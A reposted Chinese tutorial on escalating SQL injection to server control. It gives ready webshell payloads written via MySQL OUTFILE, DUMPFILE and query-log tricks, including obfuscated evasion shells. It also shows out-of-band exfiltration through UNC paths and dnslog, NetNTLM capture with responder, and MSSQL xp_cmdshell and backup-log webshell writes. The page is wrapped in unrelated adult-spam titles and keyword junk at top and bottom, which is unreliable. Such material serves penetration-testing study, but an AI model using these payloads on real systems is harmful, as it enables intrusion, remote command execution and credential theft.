色哟哟视频在线观看-色哟哟视频在线-色哟哟欧美15最新在线-色哟哟免费在线观看-国产l精品国产亚洲区在线观看-国产l精品国产亚洲区久久

0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
會員中心
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

SQL注入到Getshell的教程

我快閉嘴 ? 來源:哆啦安全 ? 作者:云天實驗室 ? 2022-09-21 14:45 ? 次閱讀

0x00 前言

上一節,我們已經介紹了基本的SQL查詢語句,常見的SQL注入類型,DVWA靶場演示SQL注入。學習了上一節我們可以做到執行任意SQL語句,主要可以對數據庫的數據進行操作,但是不能對服務器和應用進一步控制,本節就介紹下在有sql注入的情況下如何進行下一步的滲透,獲取到服務器權限。

0x01 Getshell

這里我們還是以上一節說的DVWA靶場為例,利用SQL注入漏洞寫入webshell獲取網站權限。

目標環境:

PHP+MYSQL+LINUX

前提條件:

- mysql 是root權限

- 知道網站在服務器上的物理路徑,且可寫

- 沒有過濾單引號

- `PHP`的`GPC`為 off狀態

- mysql <= 5.6.34

當`secure_file_priv`的值沒有具體值時,表示不對`MySQL`的導入|導出做限制

SHOW VARIABLES LIKE "secure_file_priv";

如果是null,表示`MySQL`不允許導入導出。(NULL不等于沒有空)

而且在`mysql 5.6.34`版本以后 `secure_file_priv` 的值默認為NULL,并且無法用`SQL`語句對其進行修改,并且會報錯如下:

e96a5a74-3964-11ed-9e49-dac502259ad0.png

`docker run -itd --name dvwa1 -p 8111:80 vulnerables/web-dvwa:1.9`

下載低版本的mysql測試

e990297a-3964-11ed-9e49-dac502259ad0.png

利用outfile和dumpfile,**outfile會在每行添加反斜杠,可導出多行,dumpfile只能導出一行,不會添加反斜杠,適合導出二進制文件:

```?id=1' UNION ALL SELECT 1,'' into outfile '/tmp/info.php'#?id=1' UNION ALL SELECT 1,'' into dumpfile '/tmp/info.php'#```

如果不能使用union查詢可以使用`fields terminated by`與`lines terminated by`:

```?id=1' into outfile '/tmp/info.php' FIELDS TERMINATED BY ''#```

修改配置getshell:

```vi /etc/mysql/my.cnfsecure_file_priv= "/"```

小tricks:

利用日志文件getshell

```show variables like '%general%';  --查看配置,日志是否開啟,和mysql默認log地址(記下原地址方便恢復)set global general_log = on;    --開啟日志監測,默認關閉(如果一直開文件會很大的)set global general_log_file = '/var/www/html/info.php';    --設置日志路徑select ' phpinfo();?>';    --執行查詢,寫入shell
--SQL查詢免殺shellselect " $sl = create_function('', @$_REQUEST['klion']);$sl();?>";SELECT " $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>";
--慢查詢寫shell,只有當查詢語句執行的時間要超過系統默認的時間時,該語句才會被記入進慢查詢日志。為什么要用慢查詢寫呢?上邊說過開啟日志監測后文件會很大,網站訪問量大的話我們寫的shell會出錯show global variables like '%long_query_time%'    --查看服務器默認時間值show variables like '%slow_query_log%';    --查看慢查詢信息set global slow_query_log=1;        --啟用慢查詢日志(默認禁用)set global slow_query_log_file='C:\phpStudy\WWW\shell.php';  --修改日志文件路徑select ' @eval($_POST[abc]);?>' or sleep(11);        --寫shell```

0x02 OOB

利用mysql的函數,把信息傳遞到外網控制的機器,例如文件讀取的函數,其實是對上面利用的一種變形和深度利用

前提條件:

- mysql <= 5.6.34

跟上面一樣**secure_file_priv**,在5.6.34之前是空值,之后被設置為null,直接被禁止了

```select @@version into outfile '//192.168.126.149/temp/o';select @@version into dumpfile '//192.168.126.149/temp/o';select load_file(concat('\\',version(),'.dnslog.cn\a'));select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874));```

這里可能被利用竊取NetNtlm或者SMBrelay

responder -I eth0 -rv

e9aaf5b6-3964-11ed-9e49-dac502259ad0.png

0x03 MSSQL 執行命令

當碰到windows服務器上web應用有MSSQL注入時,可利用注入執行命令寫webshell等

前提條件:

- SQL Server 2005以后默認關閉,需要手動開啟

查看xp_cmdshell是否開啟,并且使用語句開啟:

```exec sp_configure 'show advanced options', 1; RECONFIGURE;  exec sp_configure'xp_cmdshell', 1; RECONFIGURE;```

執行命令:

```exec master..xp_cmdshell 'whoami';```

如果xp_cmdshell被刪除,我們可以利用xplog70.dll恢復被刪除的xp_cmdshell

```Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\xplog70.dll'```

這里就涉及到上傳文件:

1.利用sql語句寫入

```exec sp_makewebtask  'c:\windows\temp\xx.dll','select''<%execute(request("cmd"))%>'''```

2.利用命令執行,寫入或下載

```exec xp_cmdshell 'echo "<%execute(request("cmd"))%>">> c:\windows\temp\xx.dll)'```

3.db權限

```目錄情況:create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));-- insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1-- select dir from temp where id=1  通過修改id來遍歷目錄寫數據 alter database 數據庫名 set RECOVERY FULL  開啟恢復模式full,當恢復模式為 SIMPLE 時,不允許使用 BACKUP LOG 語句。create table test(str image)-- insert into test(str)values ('<%execute(request("cmd"))%>')-- backup log 數據庫名 to disk='c:可讀寫路徑x.asp'-- 這里的目錄注意是可讀寫目錄,不然會出問題alter database 數據庫名 set RECOVERY simple-- 關閉恢復模式full```

其他:

- COM組件利用

- CLR利用

- SQL Server 2016 R利用

- SQL Server 2017 Python利用

- 沙盒利用(openrowset)

- Agent Job利用

0X04 總結

SQL注入到Getshell

審核編輯:湯梓紅
聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • 服務器
    +關注

    關注

    12

    文章

    9123

    瀏覽量

    85328
  • SQL
    SQL
    +關注

    關注

    1

    文章

    762

    瀏覽量

    44117

原文標題:SQL注入到Getshell和OOB

文章出處:【微信號:哆啦安全,微信公眾號:哆啦安全】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏

    評論

    相關推薦

    sql注入原理及預防措施

    SQL注入就是通過把SQL命令插入Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。對于很多網站都有
    發表于 03-21 14:47

    SQL注入擴展移位溢注

    SQL注入擴展移位溢注
    發表于 09-07 15:06 ?11次下載
    <b class='flag-5'>SQL</b><b class='flag-5'>注入</b>擴展移位溢注

    基于SQL注入攻擊檢測與防御的方法

    顯露出來,這些給人們的生活、工作、學習都帶來了巨大的損失。面對Web 網站存在的種種安全漏洞問題,文章通過對大量SQL注入攻擊報文的攻擊特征進行總結分析,結合SQL注入攻擊的攻擊特征和
    發表于 10-31 10:57 ?18次下載
    基于<b class='flag-5'>SQL</b><b class='flag-5'>注入</b>攻擊檢測與防御的方法

    sql注入攻擊實例講解

     “SQL注入”是一種利用未過濾/未審核用戶輸入的攻擊方法(“緩存溢出”和這個不同),意思就是讓應用運行本不應該運行的SQL代碼。如果應用毫無防備地創建了SQL字符串并且運行了它們,就
    發表于 11-17 14:07 ?1.9w次閱讀
    <b class='flag-5'>sql</b><b class='flag-5'>注入</b>攻擊實例講解

    網絡環境的SQL注入行為檢測

    SQL注入攻擊是Web應用面臨的主要威脅之一,傳統的檢測方法針對客戶端或服務器端進行。通過對SQL注入的一般過程及其流量特征分析,發現其在請求長度、連接數以及特征串等方面,與正常流量相
    發表于 02-23 09:58 ?1次下載

    一文帶你了解安全測試基礎之SQL注入

    傳說,SQL注入是黑客對數據庫進行攻擊的常用手段,今天就來介紹一下SQL注入
    的頭像 發表于 06-28 11:15 ?2242次閱讀

    訓練SQL注入的sqil-labs-master闖關游戲

    訓練SQL注入的sqil-labs-master闖關游戲
    發表于 05-14 09:31 ?0次下載

    SQL注入攻擊是什么 SQL注入會帶來哪些威脅

    AQL的定義 SQL是操作數據庫數據的結構化查詢語言,網頁的應用數據和后臺數據庫中的數據進行交互時會采用SQL。而SQL注入是將Web頁面的原URL、表單域或數據包輸入的參數,修改拼接
    的頭像 發表于 08-04 17:40 ?5126次閱讀

    Mybatis的SQL注入審計的基本方法

    SQL注入漏洞作為WEB安全的最常見的漏洞之一,在java中隨著預編譯與各種ORM框架的使用,注入問題也越來越少。新手代碼審計者往往對Java Web應用的多個框架組合而心生畏懼,不知如何下手,希望通過Mybatis框架使用不當
    的頭像 發表于 10-17 11:16 ?1306次閱讀

    SQL語句利用日志寫shell及相關繞過

    在能夠寫SQL語句的地方,outfile、dumpfile、drop database等都被禁止,一般進行SQL注入getshell或刪庫的方式行不通了。
    的頭像 發表于 02-03 17:32 ?1850次閱讀

    超級SQL注入工具–SSQLInjection

    支持手動靈活的進行SQL注入繞過,可自定義進行字符替換等繞過注入防護。本工具為滲透測試人員、信息安全工程師等掌握SQL注入技能的人員設計,需
    的頭像 發表于 03-07 10:26 ?2244次閱讀

    什么是SQL注入?Java項目防止SQL注入方式總結

    SQL注入即是指web應用程序對用戶輸入數據的合法性沒有判斷或過濾不嚴,攻擊者可以在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,在管理員不知情的情況下實現非法操作,以此來實現欺騙數據庫服務器執行非授權的任意
    的頭像 發表于 09-25 10:43 ?962次閱讀
    什么是<b class='flag-5'>SQL</b><b class='flag-5'>注入</b>?Java項目防止<b class='flag-5'>SQL</b><b class='flag-5'>注入</b>方式總結

    sql注入漏洞解決方法有哪些?

    什么是sql注入SQL注入(SQLi)是一種執行惡意SQL語句的注入攻擊。攻擊者可能會利用
    的頭像 發表于 10-07 17:29 ?4835次閱讀
    <b class='flag-5'>sql</b><b class='flag-5'>注入</b>漏洞解決方法有哪些?

    什么是SQL注入?Java項目防止SQL注入方式

    Java項目防止SQL注入方式 這里總結4種: PreparedStatement防止SQL注入 mybatis中#{}防止SQL
    發表于 10-16 14:26 ?597次閱讀

    IP 地址在 SQL 注入攻擊中的作用及防范策略

    SQL 注入是通過將惡意的 SQL 代碼插入輸入參數中,欺騙應用程序執行這些惡意代碼,從而實現對數據庫的非法操作。例如,在一個登錄表單中,如果輸入的用戶名被直接拼接到
    的頭像 發表于 08-05 17:36 ?298次閱讀
    主站蜘蛛池模板: 全彩无翼污之邪恶女教师| 恋夜秀场1234手机视频在线观看| 国产色综合色产在线视频| 国产成人在线视频观看| 国产精品成人免费视频99| 国产午夜在线精品三级a午夜电影| 国产内射AV徐夜夜| 九九在线精品视频| 老头操美女| 日本久久久久久久做爰片日本| 少妇伦子伦情品无吗| 亚洲AV无码乱码国产麻豆穿越| 亚洲一区二区三区高清网| 4438全国免费观看| 打扑克床上视频不用下载免费观看| 国产超碰人人爱被IOS解锁| 果冻传媒视频在线观看完整版免费 | 亚欧免费观看在线观看更新| 亚洲精品免费网站| 2019午夜福合集不打码| 刺激性视频黄页| 簧片在线免费观看| 嫩草影院久久精品| 忘忧草在线社区WWW日本直播 | 伊人久在线观看视频| TIMI1TV天美传媒在线观看| 国产精品久久久久久无码专区| 久久艹综合| 日韩欧美中文字幕在线二视频| 亚洲精品天堂自在久久77| 99久久国产综合精品| 国产精品久久一区二区三区蜜桃| 久久精品影视| 揉抓捏打抽插射免费视频| 一区二区三区四区国产| 超碰最新地址| 久久99re6国产在线播放| 人人看人人看| 在线欧美免费人成视频| 共妻肉多荤文高h一女n男| 久久www99re在线播放|